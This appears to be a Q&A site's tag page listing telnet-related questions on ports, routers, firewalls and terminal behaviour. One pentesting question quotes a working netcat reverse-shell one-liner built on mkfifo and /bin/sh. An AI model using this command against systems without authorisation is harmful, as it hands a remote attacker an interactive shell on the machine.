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Questions tagged [telnet]

Telnet is a client-server protocol used to allow communication between computers in a network.

0 votes
0 answers
35 views

Trying to understand telnet behavior and pentesting reverse shell in Unix

The first not working for me and the second working on telnet session, Unix: What is the difference between: .RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f And ...
Amir Niko's user avatar
0 votes
1 answer
57 views

ufw temporarily reject port on localhost for local testing

I don't understand why those two commands don't block Port 8391 locally. sudo ufw reject from 127.0.0.1 to 127.0.0.1 port 8391 telnet 127.0.0.1 8391 Trying 127.0.0.1... Connected to 127.0.0.1. Escape ...
Wör Du Schnaffzig's user avatar
-1 votes
2 answers
309 views

Local Login - what is the real meaning in TELNET?

I am studying about TELNET in Computer Networks Course and having an exam tomorrow. When starting it, I saw a difference between Local Login and Remote Login. In one book, When a user logs into a ...
Sabhi Sharma's user avatar
-2 votes
1 answer
366 views

How do I SSH into this home router? Minimal web options, SSH connection reset by peer, telnet creates bad request

I'm looking to extract logs from my TP-Link Archer AX73 to do some basic network monitoring. I initially followed a guide involving an SNMP exporter but quickly discovered that there is no option to ...
followmeimlost's user avatar
0 votes
0 answers
166 views

PLink telnet from Excel VBA - avoid login delay, or maintain session for multiple queries

I have a Linux box which I'm testing, and I have an Excel workbook with tables of tests I'm running. (Don't get tied up on Linux, it's just a Telnet target for the purposes of this question.) The ...
Scott's user avatar
  • 11
1 vote
1 answer
285 views

Ser2net returns double lines in terminal. What to do?

I'm pretty new to Linux, but I decided to build my own console server to connect to my Cisco devices. I have a Raspberry Pi 4 on which I did install ser2net and it works just fine. But when I enter ...
Tjaa's user avatar
  • 11
0 votes
0 answers
108 views

Can't login to the router once the connection is established using telnet

I'm trying to login to the router using telnet. Connection is successfully established and I'm asked for the login but nothing happens afterwards. I enter the username and it seems like it just looped ...
MrKTheGreat's user avatar
1 vote
2 answers
394 views

How to add a pause between lines in a multi-line paste into Telnet terminal on Bash?

I am using the telnet command on a Bash terminal in Linux to connect to a Console of a firmware running on an embedded system. The FW is controlled via console commands. To make things easier, I ...
ysap's user avatar
  • 2,690
1 vote
0 answers
197 views

How SSH port forwarding over the internet [closed]

I want to access my remote devices SSH server Attached My remote PC (mostly a router or Raspberry Pi No internet to devices) over the internet (my PC has Internet) using my laptop. Anydesk TCP ...
Shannon's user avatar
  • 11
0 votes
1 answer
452 views

Create Telnet connections to multiple servers and log the welcome messages

I need to remotely determine what FileZilla Server version is installed on a large number of computers . I know that if I initialise a Telnet connection to a FZ server, I will get a response that ...
Oddthetall's user avatar
0 votes
0 answers
587 views

I can ping the PC from remote server but can't connect to a port

I did my research but I still can't figure out the solution. I want to connect to port 8888 of my PC from a remote server. When I ping my PC from a remote server with ping <my ip>, it pings. ...
daubs-05colobus's user avatar
1 vote
0 answers
229 views

How to print all lines of responses of command in telnet?

Perhaps this is trivial but Google searching doesn't find anything useful at all. I am using Windows 10, and I use telnet.exe to control my modem. Sometimes the responses of the commands entered is ...
Ξένη Γήινος's user avatar
1 vote
1 answer
807 views

How does telnet give me access to applications behind a firewall?

In a work project I'm working on, I'm required to do telnet <ip address> <port> before running my application to make sure we can reach connected services. I cannot connect to those other ...
IceTea's user avatar
  • 113
2 votes
1 answer
2k views

How to force `telnet` (in TCP mode) to send bytes immediately?

In Linux, when I run telnet <address> <port> and then type things, it buffers data and only sends collected line when I hit Enter. Furthermore, it buffers up to 4096 characters and ...
Nikita Kipriyanov's user avatar
0 votes
1 answer
103 views

What is this character?

I'm running an Ubuntu machine and RDP'ing into a Windows 10 server. There's a .txt file on the server which when opened in Windows' text editor looks like this: when I open a terminal and typethe ...
callum's user avatar
  • 1

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